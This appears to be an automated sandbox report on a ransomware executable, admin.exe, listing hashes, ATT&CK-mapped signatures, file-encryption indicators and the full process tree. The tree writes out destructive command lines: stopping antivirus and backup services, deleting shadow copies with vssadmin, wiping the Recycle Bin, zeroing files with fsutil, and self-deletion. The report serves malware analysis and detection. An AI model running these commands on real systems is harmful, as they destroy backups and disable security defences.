83e2ba9faf075547be65d2b6dbd13e190a0b1c1cf626788cb756ab7a3c770dcb

General

Target

admin.exe
Size

63KB
MD5

ae776cbf46e5d71831c0d0d6c37b3bbf
SHA1

3ee387589ef93afe4ed2609c0c242e29f5d164b4
SHA256

83e2ba9faf075547be65d2b6dbd13e190a0b1c1cf626788cb756ab7a3c770dcb
SHA512

486d0ce8e49b1ab0fd6a56d6982abad8661c35fb27343a623c7a58bf1f5a74ccff3a954d02e9713d501bb72e9dac829f459cad2f1b3cc225ce052568ee3785ee

Score

9^/10

ransomware

Malware Config

Signatures

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490

Modifies extensions of user files 7 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

Processes:

admin.exe

description	ioc	process
File created	C:\Users\Admin\Pictures\CompareSend.tiff.locked	admin.exe
File opened for modification	C:\Users\Admin\Pictures\CompareSend.tiff	admin.exe
File created	C:\Users\Admin\Pictures\ConfirmUndo.tiff.locked	admin.exe
File opened for modification	C:\Users\Admin\Pictures\ConfirmUndo.tiff	admin.exe
File created	C:\Users\Admin\Pictures\EnterRegister.tiff.locked	admin.exe
File opened for modification	C:\Users\Admin\Pictures\EnterRegister.tiff	admin.exe
File created	C:\Users\Admin\Pictures\LimitRead.png.locked	admin.exe

Drops startup file 1 IoCs

Processes:

admin.exe

description ioc process

File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mystartup.lnk admin.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mystartup.lnk	admin.exe

Enumerates connected drives 3 TTPs 18 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

vssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exe

description	ioc	process
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\G:	vssadmin.exe
File opened (read-only)	\??\g:	vssadmin.exe
File opened (read-only)	\??\h:	vssadmin.exe
File opened (read-only)	\??\e:	vssadmin.exe
File opened (read-only)	\??\h:	vssadmin.exe
File opened (read-only)	\??\H:	vssadmin.exe
File opened (read-only)	\??\f:	vssadmin.exe
File opened (read-only)	\??\g:	vssadmin.exe
File opened (read-only)	\??\D:	vssadmin.exe
File opened (read-only)	\??\H:	vssadmin.exe
File opened (read-only)	\??\D:	vssadmin.exe
File opened (read-only)	\??\E:	vssadmin.exe
File opened (read-only)	\??\G:	vssadmin.exe
File opened (read-only)	\??\f:	vssadmin.exe
File opened (read-only)	\??\e:	vssadmin.exe
File opened (read-only)	\??\E:	vssadmin.exe

Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Interacts with shadow copies 2 TTPs 14 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1107

Inhibit System Recovery

T1490

Processes:

vssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exe

pid	process
2504	vssadmin.exe
2000	vssadmin.exe
2716	vssadmin.exe
4360	vssadmin.exe
4112	vssadmin.exe
2752	vssadmin.exe
3260	vssadmin.exe
5076	vssadmin.exe
2476	vssadmin.exe
2464	vssadmin.exe
1864	vssadmin.exe
4124	vssadmin.exe
3636	vssadmin.exe
1344	vssadmin.exe

Kills process with taskkill 3 IoCs
evasion

Processes:

taskkill.exetaskkill.exetaskkill.exe

pid process

4492 taskkill.exe
4176 taskkill.exe
4744 taskkill.exe
Opens file in notepad (likely ransom note) 1 IoCs
ransomware

Processes:

notepad.exe

pid process

5296 notepad.exe
Runs net.exe
Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

2968 PING.EXE

pid	process
4492	taskkill.exe
4176	taskkill.exe
4744	taskkill.exe

pid	process
5296	notepad.exe

pid	process
2968	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

admin.exe

pid	process
2016	admin.exe
2016	admin.exe
2016	admin.exe
2016	admin.exe
2016	admin.exe
2016	admin.exe
2016	admin.exe
2016	admin.exe
2016	admin.exe
2016	admin.exe
2016	admin.exe
2016	admin.exe
2016	admin.exe
2016	admin.exe
2016	admin.exe
2016	admin.exe
2016	admin.exe
2016	admin.exe
2016	admin.exe
2016	admin.exe
2016	admin.exe
2016	admin.exe
2016	admin.exe
2016	admin.exe
2016	admin.exe
2016	admin.exe
2016	admin.exe
2016	admin.exe
2016	admin.exe
2016	admin.exe
2016	admin.exe
2016	admin.exe
2016	admin.exe
2016	admin.exe
2016	admin.exe
2016	admin.exe
2016	admin.exe
2016	admin.exe
2016	admin.exe
2016	admin.exe
2016	admin.exe
2016	admin.exe
2016	admin.exe
2016	admin.exe
2016	admin.exe
2016	admin.exe
2016	admin.exe
2016	admin.exe
2016	admin.exe
2016	admin.exe
2016	admin.exe
2016	admin.exe
2016	admin.exe
2016	admin.exe
2016	admin.exe
2016	admin.exe
2016	admin.exe
2016	admin.exe
2016	admin.exe
2016	admin.exe
2016	admin.exe
2016	admin.exe
2016	admin.exe
2016	admin.exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

Processes:

admin.exetaskkill.exetaskkill.exetaskkill.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	2016	admin.exe
Token: SeDebugPrivilege	4492	taskkill.exe
Token: SeDebugPrivilege	4744	taskkill.exe
Token: SeDebugPrivilege	4176	taskkill.exe
Token: SeBackupPrivilege	5556	vssvc.exe
Token: SeRestorePrivilege	5556	vssvc.exe
Token: SeAuditPrivilege	5556	vssvc.exe

Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

admin.exe

pid process

2016 admin.exe
Suspicious use of SendNotifyMessage 1 IoCs

Processes:

admin.exe

pid process

2016 admin.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

admin.exenet.exenet.exenet.exenet.exenet.exenet.exe

description	pid	process	target process
PID 2016 wrote to memory of 2456	2016	admin.exe	net.exe
PID 2016 wrote to memory of 2456	2016	admin.exe	net.exe
PID 2016 wrote to memory of 2456	2016	admin.exe	net.exe
PID 2016 wrote to memory of 2488	2016	admin.exe	net.exe
PID 2016 wrote to memory of 2488	2016	admin.exe	net.exe
PID 2016 wrote to memory of 2488	2016	admin.exe	net.exe
PID 2016 wrote to memory of 2512	2016	admin.exe	net.exe
PID 2016 wrote to memory of 2512	2016	admin.exe	net.exe
PID 2016 wrote to memory of 2512	2016	admin.exe	net.exe
PID 2016 wrote to memory of 2764	2016	admin.exe	net.exe
PID 2016 wrote to memory of 2764	2016	admin.exe	net.exe
PID 2016 wrote to memory of 2764	2016	admin.exe	net.exe
PID 2016 wrote to memory of 3044	2016	admin.exe	net.exe
PID 2016 wrote to memory of 3044	2016	admin.exe	net.exe
PID 2016 wrote to memory of 3044	2016	admin.exe	net.exe
PID 2016 wrote to memory of 3552	2016	admin.exe	net.exe
PID 2016 wrote to memory of 3552	2016	admin.exe	net.exe
PID 2016 wrote to memory of 3552	2016	admin.exe	net.exe
PID 2016 wrote to memory of 3472	2016	admin.exe	net.exe
PID 2016 wrote to memory of 3472	2016	admin.exe	net.exe
PID 2016 wrote to memory of 3472	2016	admin.exe	net.exe
PID 2016 wrote to memory of 2768	2016	admin.exe	net.exe
PID 2016 wrote to memory of 2768	2016	admin.exe	net.exe
PID 2016 wrote to memory of 2768	2016	admin.exe	net.exe
PID 2016 wrote to memory of 1276	2016	admin.exe	net.exe
PID 2016 wrote to memory of 1276	2016	admin.exe	net.exe
PID 2016 wrote to memory of 1276	2016	admin.exe	net.exe
PID 2016 wrote to memory of 3148	2016	admin.exe	net.exe
PID 2016 wrote to memory of 3148	2016	admin.exe	net.exe
PID 2016 wrote to memory of 3148	2016	admin.exe	net.exe
PID 2016 wrote to memory of 2324	2016	admin.exe	net.exe
PID 2016 wrote to memory of 2324	2016	admin.exe	net.exe
PID 2016 wrote to memory of 2324	2016	admin.exe	net.exe
PID 2456 wrote to memory of 2716	2456	net.exe	vssadmin.exe
PID 2456 wrote to memory of 2716	2456	net.exe	vssadmin.exe
PID 2456 wrote to memory of 2716	2456	net.exe	vssadmin.exe
PID 2016 wrote to memory of 2208	2016	admin.exe	net.exe
PID 2016 wrote to memory of 2208	2016	admin.exe	net.exe
PID 2016 wrote to memory of 2208	2016	admin.exe	net.exe
PID 2764 wrote to memory of 3492	2764	net.exe	net1.exe
PID 2764 wrote to memory of 3492	2764	net.exe	net1.exe
PID 2764 wrote to memory of 3492	2764	net.exe	net1.exe
PID 2512 wrote to memory of 684	2512	net.exe	net1.exe
PID 2512 wrote to memory of 684	2512	net.exe	net1.exe
PID 2512 wrote to memory of 684	2512	net.exe	net1.exe
PID 2488 wrote to memory of 1364	2488	net.exe	net1.exe
PID 2488 wrote to memory of 1364	2488	net.exe	net1.exe
PID 2488 wrote to memory of 1364	2488	net.exe	net1.exe
PID 2016 wrote to memory of 1160	2016	admin.exe	net.exe
PID 2016 wrote to memory of 1160	2016	admin.exe	net.exe
PID 2016 wrote to memory of 1160	2016	admin.exe	net.exe
PID 2016 wrote to memory of 3152	2016	admin.exe	net.exe
PID 2016 wrote to memory of 3152	2016	admin.exe	net.exe
PID 2016 wrote to memory of 3152	2016	admin.exe	net.exe
PID 2016 wrote to memory of 1660	2016	admin.exe	net.exe
PID 2016 wrote to memory of 1660	2016	admin.exe	net.exe
PID 2016 wrote to memory of 1660	2016	admin.exe	net.exe
PID 3044 wrote to memory of 1864	3044	net.exe	vssadmin.exe
PID 3044 wrote to memory of 1864	3044	net.exe	vssadmin.exe
PID 3044 wrote to memory of 1864	3044	net.exe	vssadmin.exe
PID 3472 wrote to memory of 3852	3472	net.exe	Conhost.exe
PID 3472 wrote to memory of 3852	3472	net.exe	Conhost.exe
PID 3472 wrote to memory of 3852	3472	net.exe	Conhost.exe
PID 2016 wrote to memory of 2484	2016	admin.exe	net.exe

System policy modification 1 TTPs 2 IoCs

evasion

Modify Registry

T1112

Processes:

admin.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy = "1"	admin.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	admin.exe

C:\Users\Admin\AppData\Local\Temp\admin.exe
"C:\Users\Admin\AppData\Local\Temp\admin.exe"
1⤵
- Modifies extensions of user files
- Drops startup file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2016

C:\Windows\SysWOW64\net.exe
"net.exe" stop avpsus /y
2⤵
- Suspicious use of WriteProcessMemory
PID:2456

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop avpsus /y
3⤵
PID:2716

C:\Windows\SysWOW64\net.exe
"net.exe" stop McAfeeDLPAgentService /y
2⤵
- Suspicious use of WriteProcessMemory
PID:2488

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop McAfeeDLPAgentService /y
3⤵
PID:1364

C:\Windows\SysWOW64\net.exe
"net.exe" stop BMR Boot Service /y
2⤵
- Suspicious use of WriteProcessMemory
PID:2764

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BMR Boot Service /y
3⤵
PID:3492

C:\Windows\SysWOW64\net.exe
"net.exe" stop mfewc /y
2⤵
- Suspicious use of WriteProcessMemory
PID:2512

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop mfewc /y
3⤵
PID:684

C:\Windows\SysWOW64\net.exe
"net.exe" stop NetBackup BMR MTFTP Service /y
2⤵
- Suspicious use of WriteProcessMemory
PID:3044

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop NetBackup BMR MTFTP Service /y
3⤵
PID:1864

C:\Windows\SysWOW64\net.exe
"net.exe" stop ccSetMgr /y
2⤵
PID:2768

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop ccSetMgr /y
3⤵
PID:2756

C:\Windows\SysWOW64\net.exe
"net.exe" stop SavRoam /y
2⤵
PID:1276

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SavRoam /y
3⤵
PID:3332

C:\Windows\SysWOW64\net.exe
"net.exe" stop RTVscan /y
2⤵
PID:3148

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop RTVscan /y
3⤵
PID:4216

C:\Windows\SysWOW64\net.exe
"net.exe" stop QBFCService /y
2⤵
PID:2324

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop QBFCService /y
3⤵
PID:4228

C:\Windows\SysWOW64\net.exe
"net.exe" stop YooBackup /y
2⤵
PID:1660

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop YooBackup /y
3⤵
PID:4516

C:\Windows\SysWOW64\net.exe
"net.exe" stop stc_raw_agent /y
2⤵
PID:3856

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop stc_raw_agent /y
3⤵
PID:4704

C:\Windows\SysWOW64\net.exe
"net.exe" stop zhudongfangyu /y
2⤵
PID:4048

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop zhudongfangyu /y
3⤵
PID:4680

C:\Windows\SysWOW64\net.exe
"net.exe" stop YooIT /y
2⤵
PID:2484

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop YooIT /y
3⤵
PID:4528

C:\Windows\SysWOW64\net.exe
"net.exe" stop QBCFMonitorService /y
2⤵
PID:3152

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop QBCFMonitorService /y
3⤵
PID:4456

C:\Windows\SysWOW64\net.exe
"net.exe" stop Intuit.QuickBooks.FCS /y
2⤵
PID:1160

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Intuit.QuickBooks.FCS /y
3⤵
PID:4384

C:\Windows\SysWOW64\net.exe
"net.exe" stop QBIDPService /y
2⤵
PID:2208

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop QBIDPService /y
3⤵
PID:4408

C:\Windows\SysWOW64\net.exe
"net.exe" stop ccEvtMgr /y
2⤵
- Suspicious use of WriteProcessMemory
PID:3472

C:\Windows\SysWOW64\net.exe
"net.exe" stop DefWatch /y
2⤵
PID:3552

C:\Windows\SysWOW64\net.exe
"net.exe" stop VeeamDeploymentService /y
2⤵
PID:4272

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VeeamDeploymentService /y
3⤵
PID:4816

C:\Windows\SysWOW64\net.exe
"net.exe" stop VeeamTransportSvc /y
2⤵
PID:4204

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VeeamTransportSvc /y
3⤵
PID:4804

C:\Windows\SysWOW64\net.exe
"net.exe" stop VSNAPVSS /y
2⤵
PID:4160

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VSNAPVSS /y
3⤵
PID:4748

C:\Windows\SysWOW64\net.exe
"net.exe" stop BackupExecDiveciMediaService /y
2⤵
PID:4736

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BackupExecDiveciMediaService /y
3⤵
PID:4292

C:\Windows\SysWOW64\net.exe
"net.exe" stop BackupExecAgentBrowser /y
2⤵
PID:4672

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BackupExecAgentBrowser /y
3⤵
PID:4544

C:\Windows\SysWOW64\vssadmin.exe
"vssadmin.exe" resize shadowstorage /for=e: /on=e: /maxsize=unbounded
2⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:3260

C:\Windows\SysWOW64\cmd.exe
"cmd.exe" /c rd /s /q %SYSTEMDRIVE%\$Recycle.bin
2⤵
PID:3464

C:\Windows\SysWOW64\vssadmin.exe
"vssadmin.exe" Delete Shadows /all /quiet
2⤵
- Interacts with shadow copies
PID:5076

C:\Windows\SysWOW64\vssadmin.exe
"vssadmin.exe" resize shadowstorage /for=h: /on=h: /maxsize=unbounded
2⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:2476

C:\Windows\SysWOW64\vssadmin.exe
"vssadmin.exe" resize shadowstorage /for=h: /on=h: /maxsize=401MB
2⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:2504

C:\Windows\SysWOW64\vssadmin.exe
"vssadmin.exe" resize shadowstorage /for=g: /on=g: /maxsize=unbounded
2⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:2464

C:\Windows\SysWOW64\vssadmin.exe
"vssadmin.exe" resize shadowstorage /for=g: /on=g: /maxsize=401MB
2⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:2716

C:\Windows\SysWOW64\vssadmin.exe
"vssadmin.exe" resize shadowstorage /for=f: /on=f: /maxsize=unbounded
2⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:4360

C:\Windows\SysWOW64\vssadmin.exe
"vssadmin.exe" resize shadowstorage /for=f: /on=f: /maxsize=401MB
2⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:1864

C:\Windows\SysWOW64\vssadmin.exe
"vssadmin.exe" resize shadowstorage /for=e: /on=e: /maxsize=401MB
2⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:4124

C:\Windows\SysWOW64\vssadmin.exe
"vssadmin.exe" resize shadowstorage /for=d: /on=d: /maxsize=unbounded
2⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:3636

C:\Windows\SysWOW64\vssadmin.exe
"vssadmin.exe" resize shadowstorage /for=d: /on=d: /maxsize=401MB
2⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:4112

C:\Windows\SysWOW64\vssadmin.exe
"vssadmin.exe" resize shadowstorage /for=c: /on=c: /maxsize=unbounded
2⤵
- Interacts with shadow copies
PID:2752

C:\Windows\SysWOW64\vssadmin.exe
"vssadmin.exe" resize shadowstorage /for=c: /on=c: /maxsize=401MB
2⤵
- Interacts with shadow copies
PID:2000

C:\Windows\SysWOW64\vssadmin.exe
"vssadmin.exe" Delete Shadows /all /quiet
2⤵
- Interacts with shadow copies
PID:1344

C:\Windows\SysWOW64\taskkill.exe
"taskkill.exe" /IM mydesktopservice.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4176

C:\Windows\SysWOW64\taskkill.exe
"taskkill.exe" /IM mydesktopqos.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4744

C:\Windows\SysWOW64\taskkill.exe
"taskkill.exe" /IM mspub.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4492

C:\Windows\SysWOW64\sc.exe
"sc.exe" config SstpSvc start= disabled
2⤵
PID:2408

C:\Windows\SysWOW64\sc.exe
"sc.exe" config SQLWriter start= disabled
2⤵
PID:2096

C:\Windows\SysWOW64\sc.exe
"sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled
2⤵
PID:4812

C:\Windows\SysWOW64\sc.exe
"sc.exe" config SQLTELEMETRY start= disabled
2⤵
PID:4696

C:\Windows\SysWOW64\net.exe
"net.exe" stop sophos /y
2⤵
PID:4324

C:\Windows\SysWOW64\net.exe
"net.exe" stop CAARCUpdateSvc /y
2⤵
PID:2280

C:\Windows\SysWOW64\net.exe
"net.exe" stop CASAD2DWebSvc /y
2⤵
PID:5088

C:\Windows\SysWOW64\net.exe
"net.exe" stop AcronisAgent /y
2⤵
PID:5004

C:\Windows\SysWOW64\net.exe
"net.exe" stop AcrSch2Svc /y
2⤵
PID:4964

C:\Windows\SysWOW64\net.exe
"net.exe" stop BackupExecRPCService /y
2⤵
PID:4920

C:\Windows\SysWOW64\net.exe
"net.exe" stop BackupExecManagementService /y
2⤵
PID:4856

C:\Windows\SysWOW64\net.exe
"net.exe" stop BackupExecJobEngine /y
2⤵
PID:4784

C:\Windows\SysWOW64\net.exe
"net.exe" stop BackupExecAgentAccelerator /y
2⤵
PID:4608

C:\Windows\SysWOW64\net.exe
"net.exe" stop BackupExecVSSProvider /y
2⤵
PID:4568

C:\Windows\SysWOW64\net.exe
"net.exe" stop PDVFSService /y
2⤵
PID:4484

C:\Windows\SysWOW64\net.exe
"net.exe" stop veeam /y
2⤵
PID:4436

C:\Windows\SysWOW64\net.exe
"net.exe" stop VeeamNFSSvc /y
2⤵
PID:4336

C:\Windows\SysWOW64\notepad.exe
"C:\Windows\System32\notepad.exe" C:\Users\Admin\Desktop\HOW_TO_DECYPHER_FILES.txt
2⤵
- Opens file in notepad (likely ransom note)
PID:5296

C:\Windows\SysWOW64\cmd.exe
"cmd.exe" /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 “%s” & Del /f /q “%s”
2⤵
PID:5264

C:\Windows\SysWOW64\PING.EXE
ping 127.0.0.7 -n 3
3⤵
- Runs ping.exe
PID:2968

C:\Windows\SysWOW64\fsutil.exe
fsutil file setZeroData offset=0 length=524288 “%s”
3⤵
PID:4368

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" "/C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\admin.exe
2⤵
PID:4988

C:\Windows\SysWOW64\choice.exe
choice /C Y /N /D Y /T 3
3⤵
PID:5060

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop ccEvtMgr /y
1⤵
PID:3852

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop DefWatch /y
1⤵
PID:3180

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop PDVFSService /y
1⤵
PID:5032

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BackupExecJobEngine /y
1⤵
PID:4776

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BackupExecRPCService /y
1⤵
PID:5180

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop AcrSch2Svc /y
1⤵
PID:5148

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
PID:3332

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop AcronisAgent /y
1⤵
PID:5192

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop CASAD2DWebSvc /y
1⤵
PID:5216

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop CAARCUpdateSvc /y
1⤵
PID:5252

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop sophos /y
1⤵
PID:5324

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5556

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
PID:3852

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BackupExecManagementService /y
1⤵
PID:4300

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BackupExecAgentAccelerator /y
1⤵
PID:4628

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BackupExecVSSProvider /y
1⤵
PID:4224

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop veeam /y
1⤵
PID:5020

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VeeamNFSSvc /y
1⤵
PID:4888

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:4996

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File Deletion

2

T1107

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

Peripheral Device Discovery

1

T1120

System Information Discovery

2

T1082

Remote System Discovery

1

T1018

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Inhibit System Recovery

2

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\Desktop\HOW_TO_DECYPHER_FILES.txt
MD5
7504b567104d256fbc540e0e5c67b227

SHA1
8097328e9f9400b7e484e6902d18b5de24098079

SHA256
68123104072c44fcdd581c6515f4e4cb1dc887b0def30d547db12bbb45733e06

SHA512
f82d02a526daa484e241996b0b6b56c888e6d1f06faea69911281ad2f621e1ac2c47bacacd3d54eb1fe596d023a145d618af2a24dea25591190bc38c58c574bb

Download Submit
memory/684-130-0x0000000000000000-mapping.dmp

Download
memory/1160-132-0x0000000000000000-mapping.dmp

Download
memory/1276-124-0x0000000000000000-mapping.dmp

Download
memory/1364-131-0x0000000000000000-mapping.dmp

Download
memory/1660-134-0x0000000000000000-mapping.dmp

Download
memory/1864-135-0x0000000000000000-mapping.dmp

Download
memory/2016-143-0x0000000004910000-0x0000000004911000-memory.dmp

Filesize
4KB

Download
memory/2016-181-0x0000000005860000-0x0000000005861000-memory.dmp

Filesize
4KB

Download
memory/2016-114-0x0000000000130000-0x0000000000131000-memory.dmp

Filesize
4KB

Download
memory/2208-128-0x0000000000000000-mapping.dmp

Download
memory/2280-175-0x0000000000000000-mapping.dmp

Download
memory/2324-126-0x0000000000000000-mapping.dmp

Download
memory/2456-116-0x0000000000000000-mapping.dmp

Download
memory/2484-137-0x0000000000000000-mapping.dmp

Download
memory/2488-117-0x0000000000000000-mapping.dmp

Download
memory/2512-118-0x0000000000000000-mapping.dmp

Download
memory/2716-127-0x0000000000000000-mapping.dmp

Download
memory/2756-140-0x0000000000000000-mapping.dmp

Download
memory/2764-119-0x0000000000000000-mapping.dmp

Download
memory/2768-123-0x0000000000000000-mapping.dmp

Download
memory/3044-120-0x0000000000000000-mapping.dmp

Download
memory/3148-125-0x0000000000000000-mapping.dmp

Download
memory/3152-133-0x0000000000000000-mapping.dmp

Download
memory/3180-138-0x0000000000000000-mapping.dmp

Download
memory/3332-141-0x0000000000000000-mapping.dmp

Download
memory/3472-122-0x0000000000000000-mapping.dmp

Download
memory/3492-129-0x0000000000000000-mapping.dmp

Download
memory/3552-121-0x0000000000000000-mapping.dmp

Download
memory/3852-136-0x0000000000000000-mapping.dmp

Download
memory/3856-142-0x0000000000000000-mapping.dmp

Download
memory/4048-139-0x0000000000000000-mapping.dmp

Download
memory/4160-144-0x0000000000000000-mapping.dmp

Download
memory/4204-145-0x0000000000000000-mapping.dmp

Download
memory/4216-146-0x0000000000000000-mapping.dmp

Download
memory/4224-176-0x0000000000000000-mapping.dmp

Download
memory/4228-147-0x0000000000000000-mapping.dmp

Download
memory/4272-148-0x0000000000000000-mapping.dmp

Download
memory/4324-177-0x0000000000000000-mapping.dmp

Download
memory/4336-149-0x0000000000000000-mapping.dmp

Download
memory/4384-150-0x0000000000000000-mapping.dmp

Download
memory/4408-151-0x0000000000000000-mapping.dmp

Download
memory/4436-152-0x0000000000000000-mapping.dmp

Download
memory/4456-153-0x0000000000000000-mapping.dmp

Download
memory/4484-154-0x0000000000000000-mapping.dmp

Download
memory/4516-155-0x0000000000000000-mapping.dmp

Download
memory/4528-156-0x0000000000000000-mapping.dmp

Download
memory/4544-178-0x0000000000000000-mapping.dmp

Download
memory/4568-157-0x0000000000000000-mapping.dmp

Download
memory/4608-158-0x0000000000000000-mapping.dmp

Download
memory/4628-179-0x0000000000000000-mapping.dmp

Download
memory/4672-159-0x0000000000000000-mapping.dmp

Download
memory/4680-160-0x0000000000000000-mapping.dmp

Download
memory/4696-180-0x0000000000000000-mapping.dmp

Download
memory/4704-161-0x0000000000000000-mapping.dmp

Download
memory/4736-162-0x0000000000000000-mapping.dmp

Download
memory/4748-163-0x0000000000000000-mapping.dmp

Download
memory/4784-164-0x0000000000000000-mapping.dmp

Download
memory/4804-165-0x0000000000000000-mapping.dmp

Download
memory/4816-166-0x0000000000000000-mapping.dmp

Download
memory/4856-167-0x0000000000000000-mapping.dmp

Download
memory/4888-168-0x0000000000000000-mapping.dmp

Download
memory/4920-169-0x0000000000000000-mapping.dmp

Download
memory/4964-170-0x0000000000000000-mapping.dmp

Download
memory/5004-171-0x0000000000000000-mapping.dmp

Download
memory/5020-172-0x0000000000000000-mapping.dmp

Download
memory/5032-173-0x0000000000000000-mapping.dmp

Download
memory/5088-174-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads